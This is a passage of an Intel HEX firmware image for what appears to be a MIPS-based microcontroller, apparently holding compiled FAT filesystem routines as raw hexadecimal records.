:10d4a00023106200ff00423030004224ff0042306f
:10d4b0002014027cb700c2a31000c38feb51023cc2
:10d4c0001f85423419006200101000004211020052
:10d4d0008010020080200200211044008020020001
:10d4e0002110440023106200cccc033ccdcc63342b
:10d4f0001900430010100000c2100200ff0042306b
:10d5000030004224ff0042302014027cb600c2a347
:10d510001000c58f6210023cd34d42341900a200a6
:10d520001010000082190200212060008010040009
:10d53000212040004011040023104400211043002a
:10d54000c01002002318a200eb51023c1f85423498
:10d55000190062001010000042110200ff0042306a
:10d5600030004224ff0042302014027cb500c2a3e8
:10d570001000c58fb7d1023c591742341900a200e0
:10d5800010100000421b02002120600080100400e7
:10d5900021204000401104002310440021104300ca
:10d5a0008018020021104300001102002318a2007d
:10d5b0006210023cd34d423419006200101000008a
:10d5c00082110200ff00423030004224ff0042304e
:10d5d0002014027cb400c2a31000c58f42190500bc
:10d5e0007c0a023cc55a4234190062001010000047
:10d5f000c219020021206000801004002120400098
:10d600004011040023104400211043008018020040
:10d610002110430080180200211043004011020035
:10d620002318a200b7d1023c5917423419006200f6
:10d630001010000042130200ff004230300042246c
:10d64000ff0042302014027cb300c2a31000c58f3b
:10d650001b43023c83de42341900a200101000007c
:10d66000821c020021106000c01002004021020054
:10d670002320820080110400231044002110430065
:10d68000801102002318a200421903007c0a023c08
:10d69000c55a42341900620010100000c211020085
:10d6a000ff00423030004224ff0042302014027c50
:10d6b000b200c2a31000c58f5f6b023c6bca42343c
:10d6c0001900a20010100000821d0200211060004d
:10d6d000c0100200402102002320820080110400bb
:10d6e0002310440021104300801802002110430041
:10d6f000c01102002318a2001b43023c83de423407
:10d70000190062001010000082140200ff00423075
:10d7100030004224ff0042302014027cb100c2a33a
:10d72000b100c38330000224060062100000000034
:10d730001b00c0a37e000224b000c2a31736400b1a
:10d7400000000000060002241b00c2a31436400b98
:10d75000000000001b00c2931000c32721106200cc
:10d76000a000438030000224360062140000000054
:10d770001b00c293ffff42241000c3272110620048
:10d78000a0004380300002242e006214000000003c
:10d790001b00c2931000c327211062007e000324e7
:10d7a000a00043a05400c28f2400401400000000d9
:10d7b0001b00c29301004230ff0042301f004010a6
:10d7c000000000001b00c293ffff4230ffff422415
:10d7d000ffff42301800c2a70436400b00000000d3
:10d7e0001800c2871800c387010063241000c427f3
:10d7f00021188300a00063801000c427211082003c
:10d80000a00043a01800c287010042241800c2a74c
:10d810001800c28707004228f1ff401400000000f2
:10d8200020000224b700c2a31b00c293ffff4224c2
:10d830001b00c2a31736400b000000001736400b38
:10d84000000000001b00c293ffff42241b00c2a384
:10d850001b00c293bfff4014000000001b00c393d5
:10d860001a00c2932b106200050040140000000053
:10d870001a00c2931600c2a73136400b0000000008
:10d880001b00c2931600c2a73136400b00000000f7
:10d890001600c287010043241600c3a721204000c0
:10d8a0001b00c293010043241b00c3a31000c32725
:10d8b00021106200a00043801000c2272110440004
:10d8c000380043a01b00c2930800422cf0ff401414
:10d8d000000000003e36400b000000001600c2872a
:10d8e000010043241600c3a71000c32721106200c3
:10d8f00020000324380043a01600c28708004228f5
:10d90000f6ff4014000000005d36400b00000000f0
:10d91000c000c28f200042242000c2af1b00c0a361
:10d920005536400b000000001b00c2932000c38f3f
:10d93000211062001b00c3931000c427211883002c
:10d9400038006380000043a01b00c2930100422402
:10d950001b00c2a31b00c2930b00422cf2ff401419
:10d9600000000000010002241c00c2af6636400b1c
:10d97000000000001000c28f010042241000c2af5e
:10d980001000c38f9800023c809642342b10620036
:10d99000a1fe4014000000001c00c28f21e8c0035b
:10d9a000bc00bf8fb800be8fc000bd270800e003d9
:10d9b00000000000d8ffbd272400beaf21f0a00367
:10d9c00080bf023c2002428c0400c2af80bf023cf8
:10d9d0002002428c0800c2af0400c38f0800c28f2f
:10d9e000f7ff62140000000080bf023c3002428c4e
:10d9f0000c00c2af80bf023c3002428c1000c2afac
:10da00000c00c38f1000c28ff7ff621400000000eb
:10da10000c00c28f021602001400c2a70c00c28fb5
:10da2000021202001600c2a70c00c28fffff423094
:10da30000f004230ffff4230001202001800c2a760
:10da40000400c28f02160200ffff43301800c29785
:10da5000251062001800c2a70400c28f0212020043
:10da60001a00c2a70000c0a71400c2970f004230de
:10da7000ffff43300000c297211062000000c2a7e0
:10da80001400c297f000423003110200ffff423041
:10da9000401002008018020021104300ffff4330b5
:10daa0000000c297211062000000c2a70000c297c8
:10dab000140042240000c2a70000c29740120200d6
:10dac0001c00c2a71600c29700104230050040108b
:10dad000000000000a0002240000c2a7ba36400b72
:10dae000000000000000c0a71600c297000f4230df
:10daf00003120200ffff43300000c29721106200b2
:10db00000000c2a70000c297401102000000c2a797
:10db10001c00c3970000c297251062001c00c2a71a
:10db20001600c297f0004230031102000000c2a7a5
:10db30000000c2974010020080180200211043002c
:10db40000000c2a71600c2970f004230ffff43300b
:10db50000000c297211062000000c2a71c00c397fa
:10db60000000c297251062001c00c2a71c00c297cb
:10db70003a8182a71c00c297368182a71c00c297f7
:10db8000348182a71800c297f000423003110200ce
:10db9000ffff4230401002008018020021104300b5
:10dba0000000c2a71800c2970f004230ffff4330a9
:10dbb0000000c297211062000000c2a70000c297b7
:10dbc000c01202001c00c2a71a00c2970213020072
:10dbd000ffff423040100200801802002110430075
:10dbe0000000c2a71a00c297000f423003120200c1
:10dbf000ffff43300000c297211062000000c2a75f
:10dc00000000c29740110200201e027c1c00c28747
:10dc1000251062002016027c1c00c2a71a00c297c1
:10dc2000f000423003110200ffff423040100200ba
:10dc300080180200211043000000c2a71a00c297fa
:10dc40000f004230ffff43300000c29721106200f6
:10dc50000000c2a70000c29701004230ffff42301f
:10dc6000050040100000000064000224168182a319
:10dc70001f37400b00000000168180a30000c297f0
:10dc8000421002000000c2a71c00c3970000c29708
:10dc9000251062001c00c2a71c00c2972c8182a71d
:10dca0001c00c297328182a721e8c0032400be8fe6
:10dcb0002800bd270800e00300000000d8ffbd27b2
:10dcc0002400bfaf2000beaf21f0a0032800c4afe6
:10dcd0002110a0002c00c2a32800c28f0000428c9b
:10dce0001000c2af2800c28f0800428c1400c2afdf
:10dcf0002800c48f8437400f000000001400c2af1a
:10dd00001400c28f0400401400000000150002241b
:10dd10007e37400b000000001000c28f24004390ab
:10dd20000100022409006214000000001000c48fea
:10dd30001400c58ff80f062421380000c64a400f92
:10dd4000000000006737400b000000001000c28f89
:10dd50002400439002000224090062140000000025
:10dd60001000c48f1400c58ff8ff0634213800005e
:10dd7000c64a400f000000006737400b000000005b
:10dd80001000c48f1400c58fff0f023cf8ff46340b
:10dd900021380000c64a400f000000002800c28f52
:10dda0000800428c1800c2af1000c48f1800c58f45
:10ddb0001400c68f21380000c64a400f0000000042
:10ddc0002800c28f1400c38f080043ac2c00c393fb
:10ddd0000100022407006214000000001000c48f3c
:10dde0001400c58fc63e400f000000007e37400b78
:10ddf000000000002110000021e8c0032400bf8fb4
:10de00002000be8f2800bd270800e00300000000ae
:10de1000d0ffbd272c00bfaf2800beaf21f0a0036c
:10de20003000c4af1c00c0af3000c28f0000428c75
:10de30002000c2af3000c28f0800428c1000c2af79
:10de40002000c28f24004290010003240c004310e4
:10de500000000000030003240f0043140000000032
:10de6000ff0f023cf7ff42341400c2afff0f023c29
:10de7000ffff42341800c2afab37400b0000000078
:10de8000f70f02241400c2afffff02341800c2af24
:10de9000ab37400b00000000f7ff02341400c2afa4
:10dea000ffff02341800c2af000000001000c28f54
:10deb0000200422c03004010000000000200022477
:10dec0001000c2af1000c28f2400c2af2000c48f68
:10ded0001000c58f8f49400f00000000e437400b51
:10dee000000000002000c48f1000c58f8f49400f34
:10def000000000001c00c2af1c00c38f1800c28fbe
:10df000004006214000000001000c0afe737400baf
:10df1000000000001c00c28f03004014000000003d
:10df2000e737400b000000001000c28f01004224c0
:10df30001000c2af1c00c38f1400c28f0b00621010
:10df4000000000002000c28f1900438821206000db
:10df50001600449821108000020043241000c28f54
:10df60002b104300030040140000000002000224b4
:10df70001000c2af1000c38f2400c28f04006214cf
:10df8000000000001000c0afe737400b00000000a9
:10df90001000c28fd3ff4014000000001000c28f99
:10dfa00021e8c0032c00bf8f2800be8f3000bd27a2
:10dfb0000800e00300000000d8ffbd272400bfaf29
:10dfc0002000beaf21f0a0032800c4af4800022407
:10dfd0001400c2af388180a32800c28f360042945b
:10dfe0001c00c2a72800c28f1800428c01004230da
:10dff0005700401000000000448082930a00401047
:10e00000000000003241400f0000000006004010f8
:10e010000000000009000224388182a3ffff0224cf
:10e020007a38400b000000002800c28f0000428cac
:10e030002120400021280000213000000100072499
:10e04000c64a400f00000000048080af2800c28f45
:10e050000000438c2800c28f0800428c2120600001
:10e06000212840008f49400f000000001c00c227fb
:10e070002800c48f212840009139400f0000000083
:10e080001800c2af1800c28f080040140000000042
:10e090001b000224388182a3ffff02241400c2afb8
:10e0a0001400c28f7a38400b000000006d36400f1c
:10e0b00000000000328183971800c28f160043a42d
:10e0c000368183971800c28f180043a42800c28f9e
:10e0d0001400438c1800c28f1c0043ac2800c28f70
:10e0e0003a004294ff0043301800c28f0b0043a057
:10e0f0001c00c2272800c48f21284000182f400f81
:10e10000000000000a004010000000001c00c227b0
:10e110002800c48f212840009139400f00000000e2
:10e120001800c2af1400c0af5038400b0000000010
:10e1300009000224388182a3ffff02241400c2af29
:10e140002800c38f180062900400027c180062a0af
:10e150002800c38f180062904408027c180062a057
:10e160001000c0a76f38400b000000001000c297dd
:10e1700080100200001902002110430000a0033c9f
:10e18000c4106324211843002800c28f08006214c1
:10e19000000000001000c3971c818227211062003c
:10e1a00001000324000043a07338400b000000006e
:10e1b0001000c297010042241000c2a71000c297ad
:10e1c0000300422ce9ff4014000000002800c0af0b
:10e1d0001400c38f480002240200621400000000f3
:10e1e0001400c0af1400c28f21e8c0032400bf8f09
:10e1f0002000be8f2800bd270800e00300000000bb
:10e20000d8ffbd272400bfaf2000beaf21f0a00380
:10e210002800c4af2c00c5af1600c0a32c00c28fcd
:10e22000000042940f004230110040140000000032
:10e230002c00c28f000042940d004010000000002e
:10e240002800c28f3c00438c2800c28f400043aca2
:10e250002800c48f2c00c58f01000624e72f400f33
:10e26000000000001000c2afa238400b0000000008
:10e270002800c48f2c00c58f21300000e72f400fed
:10e28000000000001000c2af1000c28f0500401453
:10e2900000000000020002241500c2a33139400b27
:10e2a000000000001000c28f000042801700c2a3cf
:10e2b0001700c393e500022405006214000000006b
:10e2c000010002241500c2a33139400b00000000f8
:10e2d0001700c29305004014000000000200022451
:10e2e0001500c2a33139400b000000001000c28f9e
:10e2f0000b0042901700c2a31400c0a3d538400bf6
:10e30000000000001400c2931000c38f21106200af
:10e31000000042801800c2a31800c29321204000d0
:10e320006a57410f000000001800c2a31600c293f4
:10e33000010043241600c3a31800c3832800c48f20
:10e3400021108200200043a01400c2930100422447
:10e350001400c2a31400c2930800422ce9ff401429
:10e36000000000001000c28f0b0042901700c2a3f3
:10e370001000c28f080042801800c2a31400c0a37e
:10e38000f638400b000000001400c2931000c38f49
:10e3900021106200080042801800c2a31800c29336
:10e3a000212040006a57410f000000001800c2a35e
:10e3b0001600c293010043241600c3a31800c383b0
:10e3c0002800c48f21108200200043a01400c293b3
:10e3d000010042241400c2a31400c2930300422c83
:10e3e000e9ff4014000000002c00c28f000043949d
:10e3f0002800c28f360043a41000c28f0000428064
:10e400001700c2a31700c393e5000224050062149d
:10e4100000000000010002241500c2a30a39400bcd
:10e42000000000001500c0a31000c28f1c00438c28
:10e430002800c28f140043ac1000c48f0227400f85
:10e4400000000000211840002800c28f040043ace7
:10e450001000c28f0b0042901700c2a31700c29396
:10e46000ffff43302800c28f3a0043a41700c29335
:10e47000100042300b004010000000001000c28f5e
:10e480000e0043942800c28f1c0043a41000c28fca
:10e49000100043942800c28f1e0043a43139400b62
:10e4a000000000001000c28f160043942800c28fa5
:10e4b0001c0043a41000c28f180043942800c28f90
:10e4c0001e0043a41500c29321e8c0032400bf8f9f
:10e4d0002000be8f2800bd270800e00300000000d8
:10e4e000d0ffbd272c00bfaf2800beaf21f0a00396
:10e4f0003000c4af3400c5af3800c6af3800c28f9b
:10e50000000042940f00423011004014000000004f
:10e510003800c28f000042940d004010000000003f
:10e520003000c28f3c00438c3000c28f400043acaf
:10e530003000c48f3800c58f01000624e72f400f3c
:10e54000000000001000c2af5a39400b000000006c
:10e550003000c48f3800c58f21300000e72f400ff6
:10e56000000000001000c2af1000c28f0500401470
:10e5700000000000020002242000c2a38a39400be0
:10e58000000000001000c28f000042801400c2a3ef
:10e590001400c393e500022405006214000000008b
:10e5a000010002242000c2a38a39400b00000000b1
:10e5b0001400c29305004014000000000200022471
:10e5c0002000c2a38a39400b000000002000c0a335
:10e5d0003400c28f1c00c2af1000c28f1800c2af3f
:10e5e0001400c0a38639400b000000001c00c28f3d
:10e5f000010043241c00c3af1800c38f0100642432
:10e600001800c4af00006390000043a01400c29340
:10e61000010042241400c2a31400c2932000422c23
:10e62000f2ff4014000000002000c29321e8c00364
:10e630002c00bf8f2800be8f3000bd270800e003ec
:10e6400000000000e0ffbd271c00bfaf1800beaff8
:10e6500021f0a0032000c4af2400c5af2000c28f6a
:10e660003c00438c2000c28f400043ac2000c48f8c
:10e670002400c58f01000624e72f400f0000000092
:10e680001000c2af1000c28f040040140000000050
:10e6900021100000d739400b000000001000c28f8d
:10e6a000000042801400c2a31400c2930200401470
:10e6b000000000001000c0af1000c28f2600401004
:10e6c000000000001400c393e5000224040062145b
:10e6d000000000001000c0afd639400b0000000061
:10e6e0001000c28f0b0042901400c2a3d239400b1d
:10e6f000000000002400c28f000042940100422468
:10e70000ffff43302400c28f000043a42000c48fc9
:10e710002400c58f21300000e72f400f00000000cb
:10e720001000c2af1000c28f0400401400000000af
:10e7300021100000d739400b000000001000c28fec
:10e740000b0042901400c2a31400c3930f000224d4
:10e75000e8ff6210000000001000c28f21e8c00333
:10e760001c00bf8f1800be8f2000bd270800e003eb
:10e7700000000000c8ffbd273400bfaf3000beafaf
:10e7800021f0a0033800c4af3c00c5af2110c00089
:10e790004000c2a31000c0af1400c0af01000224ab
:10e7a0001c00c2af3800c28f0000428c2000c2aff4
:10e7b0003800c28f34004294148182a7148182975a
:10e7c000290040100000000014818497c44e023cd0
:10e7d0004fec423419008200101000008228020021
:10e7e0002118a000801003002118400080100300b1
:10e7f000231043002110450023108200ffff423008
:10e800002400c2a314818397c44e023c4fec4234cf
:10e81000190062001010000082100200ffff423059
:10e820001800c2a32400c293050040140000000099
:10e83000148182970d00422c060040100000000059
:10e840001800c293020042241800c2a31c3a400bd5
:10e85000000000001800c293010042241800c2a367
:10e860001c3a400b00000000010002241800c2a363
:10e8700001000224388182a35c3a400b00000000b2
:10e880003800c28f3c00438c3800c28f400043ac3c
:10e890003800c48f3c00c58f01000624e72f400fcd
:10e8a000000000002800c2af2800c28f04004014fe
:10e8b000000000001b000224763a400b000000001c
:10e8c0002800c28f000042802c00c2a32800c28f03
:10e8d00008004010000000002c00c293050040100a
:10e8e000000000002c00c393e50002240500621420
:10e8f000000000000b0002241000c2af613a400b80
:10e90000000000002800c28fe5ff0324000043a0a0
:10e910003800c48f3c00c58f182f400f0000000046
:10e920000500401400000000010002241000c2afe6
:10e93000613a400b000000001c00c28f060040102e
:10e94000000000002800c48f0227400f00000000d4
:10e950001400c2af1c00c0af3c00c28f0000429444
:10e96000ffff4224ffff43303c00c28f000043a45e
:10e970001800c293ffff43241800c3a3c0ff401434
:10e98000000000001000c28f1200401400000000c0
:10e990002881828f1400c38f0b00621000000000da
:10e9a0004000c29308004010000000001400c48f13
:10e9b0002000c58f742f400f000000000100422c82
:10e9c000ff0042301000c2af1000c28fff00423083
:10e9d000388182a31000c28f21e8c0033400bf8faa
:10e9e0003000be8f3800bd270800e00300000000a3
:10e9f00050ffbd27ac00bfafa800beaf21f0a00301
:10ea0000b000c4afb400c5af388180a3f4d8400fc4
:10ea10000000000006004010000000001800022462
:10ea2000388182a3ffff02240b3b400b0000000053
:10ea30001c00c22721204000b400c58f403e400f7b
:10ea4000000000001c00c227b000c48f2128400035
:10ea5000213000004e42400f00000000060040142c
:10ea60000000000012000224388182a3ffff02246c
:10ea70000b3b400b000000005200c0a70c80828faf
:10ea80003c00428c5800c2af0c80828f4000428c08
:10ea90005c00c2af6000c3271c00c22721206000b9
:10eaa00021284000403e400f000000006000c327c6
:10eab0001c00c227212060002128400001000624fc
:10eac00021380000db1b400f00000000211840002f
:10ead0000b0002245200621400000000b400c28f38
:10eae000360042941800c2a71800c227b400c48f91
:10eaf0002128400021300000dd39400f00000000d7
:10eb0000060040100000000001000224388182a3aa
:10eb1000ffff02240b3b400b000000005600c29791
:10eb2000ff0042301c00c4271800c32721286000c2
:10eb30002130400021380000e630400f0000000086
:10eb4000ff004230388182a31c00c3271800c2276f
:10eb500021206000212840009139400f0000000072
:10eb60001000c2afb400c28f0400428cffff4330dc
:10eb70001000c28f1a0043a4b400c28f0400438c5b
:10eb8000ff0f023c241062001400c2af1400c28fb9
:10eb9000021402001400c2af1400c28fffff433002
:10eba0001000c28f140043a4b400c28f1400438c21
:10ebb0001000c28f1c0043ac1c00c3271800c227e2
:10ebc0002120600021284000182f400f0000000085
:10ebd000211840000100022406006210000000001d
:10ebe00009000224388182a3ffff02240b3b400b63
:10ebf00000000000b400c28f1400428c3000c2af8d
:10ec00001c00c227b400c48f21284000403e400fa2
:10ec100000000000211000000b3b400b0000000032
:10ec200011000224388182a3ffff022421e8c003df
:10ec3000ac00bf8fa800be8fb000bd270800e00366
:10ec400000000000e0ffbd271c00bfaf1800beaff2
:10ec500021f0a0032000c4af2400c5af01000224ae
:10ec6000488082af2000c48f2400c58f7c3a400fbb
:10ec7000000000001000c2af488080af1000c28fbb
:10ec800021e8c0031c00bf8f1800be8f2000bd27e5
:10ec90000800e00300000000e0ffbd271c00bfaf3c
:10eca0001800beaf21f0a0032000c4af2400c5af00
:10ecb00001000224488082af2000c48f2400c58f49
:10ecc0003b3b400f000000001000c2af488080af07
:10ecd0001000c28f21e8c0031c00bf8f1800be8f38
:10ece0002000bd270800e00300000000d8ffbd277a
:10ecf0002400bfaf2000beaf21f0a0032800c4afa6
:10ed00002c00c5af2c00c28f000042801c00c2a3a3
:10ed1000f4d8400f000000000e004010000000007a
:10ed20001c00c393720002240a006210000000005d
:10ed30001c00c39352000224060062100000000071
:10ed400018000224388182a321100000523d400b9c
:10ed5000000000001000c0af1400c0af703b400bbb
:10ed6000000000001400c38f1c8182272110620064
:10ed7000000042900f004010000000001400c38ffc
:10ed80001c81822721106200000040a01400c28f65
:10ed900080100200001902002110430000a0033c73
:10eda000c4106324211043001000c2af743b400b19
:10edb000000000001400c28f010042241400c2af02
:10edc0001400c28f03004228e6ff40140000000038
:10edd0001000c28f06004014000000002000022432
:10ede000388182a321100000523d400b000000003a
:10edf0001400c28f40100200001a020021104300cc
:10ee000000a0033c500a6324211843001000c28f65
:10ee1000300043ac2800c48f1000c58f21300000a3
:10ee20004e42400f000000000b00401400000000a4
:10ee30001400c38f1c81822721106200010003246b
:10ee4000000043a012000224388182a32110000098
:10ee5000523d400b000000001000c28f00a0033c98
:10ee600058106324000043ac1000c28f040040ac73
:10ee70001000c28f080040ac1000c28f360040a4c2
:10ee80001000c28f200003243a0043a40c80828f1c
:10ee90003c00438c1000c28f3c0043ac0c80828f3e
:10eea0004000438c1000c28f400043ac00a0023ce5
:10eeb000a01344241000c58f403e400f0000000006
:10eec0001000c48f00a0023ca013452401000624ba
:10eed00021380000db1b400f00000000330140140c
:10eee000000000001c00c293bfff42243700432ce7
:10eef000270160100000000080180200019d023c04
:10ef000014ef4224211062000000428c08004000ef
:10ef100000000000f0f0009d90f3009d90f3009d34
:10ef200090f3009d90f3009d90f3009d90f3009d61
:10ef300090f3009d90f3009d90f3009d90f3009d51
:10ef400090f3009d90f3009d90f3009d90f3009d41
:10ef500090f3009d90f3009df0f2009d90f3009dd2
:10ef600090f3009d90f3009d90f3009df0ef009dc5
:10ef700090f3009d90f3009d90f3009d90f3009d11
:10ef800090f3009d90f3009d90f3009d90f3009d01
:10ef900090f3009df0f0009d90f3009d90f3009d94
:10efa00090f3009d90f3009d90f3009d90f3009de1
:10efb00090f3009d90f3009d90f3009d90f3009dd1
:10efc00090f3009d90f3009d90f3009d90f3009dc1
:10efd00090f3009d90f3009df0f2009d90f3009d52
:10efe00090f3009d90f3009d90f3009df0ef009d45
:10eff0001000c28f360042941e00c2a71e00c22716
:10f000001000c48f2128400001000624dd39400f84
:10f01000000000001800c2af1800c28f3200401478
:10f02000000000001e00c2271000c48f21284000ed
:10f030002130000001000724e630400f00000000ee
:10f040001800c2af1800c28f270040140000000053
:10f050001e00c2271000c48f21284000770006241c
:10f06000a622400f000000001800c2af1000c28f9f
:10f070003a004294100042300500401000000000a9
:10f080001f000224388182a3ff0002241800c2afaf
:10f090001800c28f14004014000000001000c48f3c
:10f0a00021280000020006249a48400f00000000ba
:10f0b0001800c2af2c00c28f010042240000438020
:10f0c0002b00022408006214000000001000c38f0f
:10f0d00018006290010004244408827c180062a099
:10f0e000e93c400b00000000e93c400b0000000040
:10f0f0001000c28f1400428c380040100000000045
:10f100001000c28f360042941e00c2a71e00c22704
:10f110001000c48f2128400077000624a622400f4b
:10f12000000000001800c2af1000c28f3a004294e5
:10f130001000423005004010000000001f000224b3
:10f14000388182a3ff0002241800c2af1800c28fca
:10f1500065004014000000001000c48f212800004a
:10f16000020006249a48400f000000001800c2afb9
:10f170001800c28f05004010000000001a00022491
:10f18000388182a36a3c400b000000001000c28f4f
:10f190000800428c00a0033c581064242128400041
:10f1a0008f49400f000000002c00c28f0100422454
:10f1b000000043802b0002244b006214000000007a
:10f1c0001000c38f18006290010004244408827c60
:10f1d000180062a0e93c400b000000001000c28f44
:10f1e000360042941e00c2a71e00c2271000c48f22
:10f1f0002128400001000624dd39400f00000000f6
:10f200001800c2af1800c28f370040140000000081
:10f210001e00c2271000c48f2128400021300000aa
:10f2200001000724e630400f000000001800c2afc4
:10f230001800c28f2c004014000000001e00c227de
:10f240001000c48f2128400077000624a622400f1a
:10f25000000000001800c2af1000c28f3a004294b4
:10f260001000423005004010000000001f00022482
:10f27000388182a3ff0002241800c2af1800c28f99
:10f2800019004014000000001000c48f2128000065
:10f29000020006249a48400f000000001800c2af88
:10f2a0001800c28f03004010000000001a00022462
:10f2b000388182a32c00c28f0100422400004380c9
:10f2c0002b00022408006214000000001000c38f0d
:10f2d00018006290010004244408827c180062a097
:10f2e000e93c400b00000000e93c400b000000003e
:10f2f0001000c28f360042941e00c2a71e00c22713
:10f300001000c48f2128400072000624a622400f5e
:10f31000000000001800c2af1800c28f1a0040148d
:10f32000000000002c00c28f010042240000438036
:10f330002b00022414006214000000001000c28f91
:10f340000800428c00a0033c58106424212840008f
:10f350008f49400f000000001000c28f3a00429415
:10f360001000423008004014000000001000c38f5d
:10f3700018006290010004240400827c180062a03e
:10f38000e93c400b00000000e93c400b000000009d
:10f390001f000224388182a3ff0002241800c2af9c
:10f3a000000000003d3d400b000000001000c48f35
:10f3b00000a0023ca0134524403e400f0000000086
:10f3c0001c00c393770002240d00621000000000af
:10f3d0001c00c393570002240900621000000000c3
:10f3e0001c00c393610002240500621000000000ad
:10f3f0001c00c393410002243a0062140000000084
:10f400001e00c0a71e00c2271000c48f2128400084
:10f410002130000001000724e630400f000000000a
:10f420001800c2af1800c28f2c004014000000006a
:10f430001e00c2271000c48f212840007700062438
:10f44000a622400f000000001800c2af1000c28fbb
:10f450003a004294100042300500401000000000c5
:10f460001f000224388182a3ff0002241800c2afcb
:10f470001800c28f19004014000000001000c48f53
:10f4800021280000020006249a48400f00000000d6
:10f490001800c2af1800c28f030040100000000027
:10f4a0001a000224388182a32c00c28f010042245a
:10f4b000000043802b0002240800621400000000ba
:10f4c0001000c38f18006290010004244408827c5d
:10f4d000180062a03d3d400b000000003d3d400b88
:10f4e000000000000b0002241800c2af0b00022431
:10f4f000388182a3f4d8400f0000000005004010be
:10f50000000000001000c38f180062900400027c0d
:10f51000180062a01800c28f09004010000000000f
:10f520001400c38f1c818227211062000100032474
:10f53000000043a01000c0af513d400b0000000090
:10f54000388180a31000c28f21e8c0032400bf8f40
:10f550002000be8f2800bd270800e0030000000047
:10f56000f8ffbd270400beaf21f0a0030800c4af20
:10f57000388180a30800c28f1000428c21e8c003ac
:10f580000400be8f0800bd270800e0030000000053
:10f5900090fdbd276c02bfaf6802beaf21f0a00393
:10f5a0007002c4af00a0023c000642241800c2afa3
:10f5b0001400c0a7388180a3f4d8400f00000000d9
:10f5c000060040100000000018000224388182a3c9
:10f5d000ffff0224023e400b000000001800c28f13
:10f5e0006000c327300043ac7002c48f1800c58f81
:10f5f000213000004e42400f000000000600401481
:10f600000000000012000224388182a3ffff0224c0
:10f61000023e400b000000001800c28f00a0033c17
:10f6200058106324000043ac1800c28f040040aca3
:10f630001800c28f080040ac1800c28f360040a4ea
:10f640001800c28f200003243a0043a40c80828f4c
:10f650003c00438c1800c28f3c0043ac0c80828f6e
:10f660004000438c1800c28f400043ac00a0023c15
:10f67000a01344241800c58f403e400f0000000036
:10f680001800c48f00a0023ca013452401000624ea
:10f6900021380000db1b400f000000000600401076
:10f6a000000000000b000224388182a3ffff022427
:10f6b000023e400b000000001800c28f3a00429446
:10f6c0001000423006004010000000001300022429
:10f6d000388182a3ffff0224023e400b000000009d
:10f6e0001800c28f3400429438004014000000001b
:10f6f0001c00c227212040001800c58f403e400f4b
:10f70000000000001800c28f36004294ffff422420
:10f71000ffff42306202c2a76202c2271800c48ff4
:10f720002128400021300000e72f400f000000009a
:10f730001000c2afdd3d400b000000001400c29776
:10f740000d0042241400c2a76202c297ffff4224a8
:10f75000ffff42306202c2a76202c2271800c48fb4
:10f760002128400021300000e72f400f000000005a
:10f770001000c2af1000c28f0b0043900f00022494
:10f780000a006214000000001000c28f00004390c5
:10f79000e500022405006210000000001000c28f86
:10f7a00000004290e5ff4014000000001c00c2274a
:10f7b0001800c48f21284000403e400f0000000088
:10f7c0001800c28f1400c397340043a41800c28fde
:10f7d000360042241800c48f21284000010006246e
:10f7e000dd39400f0000000004004014000000005c
:10f7f00021100000023e400b000000000100022426
:10f80000388182a3ffff022421e8c0036c02bf8f6e
:10f810006802be8f7002bd270800e00300000000f0
:10f82000e0ffbd271c00bfaf1800beaf21f0a00352
:10f830002000c4af01000224488082af2000c48fa2
:10f84000643d400f000000001000c2af488080af50
:10f850001000c28f21e8c0031c00bf8f1800be8fac
:10f860002000bd270800e00300000000e8ffbd27de
:10f870001400bfaf1000beaf21f0a0031800c4af4a
:10f880004480829303004010000000003241400f8a
:10f89000000000001800c28f100040ac1800c28f9a
:10f8a0000e0040a41800c28f0c0040a41800c28fa4
:10f8b0000400438c1800c28f080043ac408080af26
:10f8c0000000000021e8c0031400bf8f1000be8fad
:10f8d0001800bd270800e00300000000f8ffbd2766
:10f8e0000400beaf21f0a0033881829321e8c00359
:10f8f0000400be8f0800bd270800e00300000000e0
:10f90000e8ffbd271400beaf21f0a0031800c4af6c
:10f910001c00c5af1800c28f0400c2af1c00c28f0c
:10f920000800c2af440002240c00c2af0000c0af08
:10f93000593e400b000000000000c28f0400c38f3e
:10f94000211062000000c38f0800c48f21188300bb
:10f9500000006390000043a00000c28f0100422419
:10f960000000c2af0000c38f0c00c28f2a106200db
:10f97000f1ff40140000000021e8c0031400be8f16
:10f980001800bd270800e00300000000e0ffbd27cd
:10f990001c00bfaf1800beaf21f0a0032000c4af11
:10f9a0002400c5af1000c0af2000c28f0000428c01
:10f9b0001400c2af2000c48f8437400f0000000045
:10f9c000211840002400c28f000043ac2400c28fe5
:10f9d0000000428c050040140000000015000224c5
:10f9e0001000c2afbf3e400b000000001400c28fe9
:10f9f0002400439001000224110062140000000062
:10fa00002400c28f0000428c1400c48f21284000c3
:10fa1000f80f062421380000c64a400f00000000fd
:10fa200021184000ffff02342a0062140000000089
:10fa3000090002241000c2afb53e400b00000000d8
:10fa40001400c28f240043900200022411006214ab
:10fa5000000000002400c28f0000428c1400c48ffc
:10fa600021284000f8ff063421380000c64a400f24
:10fa70000000000021184000ffff0234150062144e
:10fa800000000000090002241000c2afb53e400b88
:10fa9000000000002400c28f0000428c1400c48fbc
:10faa00021284000ff0f023cf8ff463421380000b7
:10fab000c64a400f0000000021184000ff0f023c22
:10fac000ffff42340300621400000000090002241a
:10fad0001000c2af1000c28f0800401400000000e8
:10fae0002400c28f0000428c1400c48f21284000e3
:10faf000c63e400f000000001000c2af1000c28fd1
:10fb000021e8c0031c00bf8f1800be8f2000bd2756
:10fb10000800e00300000000d8ffbd272400bfafad
:10fb20002000beaf21f0a0032800c4af2c00c5af59
:10fb30001800c0a32800c48f2c00c58f6d3f400f54
:10fb4000000000001400c2af4480829308004010ff
:10fb5000000000003241400f00000000040040108f
:10fb60000000000009000224123f400b00000000ca
:10fb7000408080af46808293100040140000000057
:10fb80002800c28f03004388000043982800c28fda
:10fb90001d004488212880001a0045982110a000eb
:10fba0002120600021280000213040006551410fd4
:10fbb0000000000001000224468082a31000c0a3c0
:10fbc000083f400b000000001400c38f01006224b6
:10fbd0001400c2af2800c28f03004488212880008f
:10fbe000000045982110a00021206000212840003d
:10fbf00021300000b6d8400f00000000211840005e
:10fc00000100022403006210000000000900022429
:10fc10001800c2a31000c293010042241000c2a326
:10fc20002800c28f230042901000c3932b10620063
:10fc300004004010000000001800c293e2ff4010d2
:10fc4000000000001800c29321e8c0032400bf8f09
:10fc50002000be8f2800bd270800e0030000000040
:10fc6000f8ffbd270400beaf21f0a0030800c4af19
:10fc70002110a0000c00c2a70c00c2970800c38f7f
:10fc8000211062000000429021e8c0030400be8ff2
:10fc90000800bd270800e00300000000f0ffbd27ba
:10fca0000c00beaf21f0a0031000c4af2110a000d3
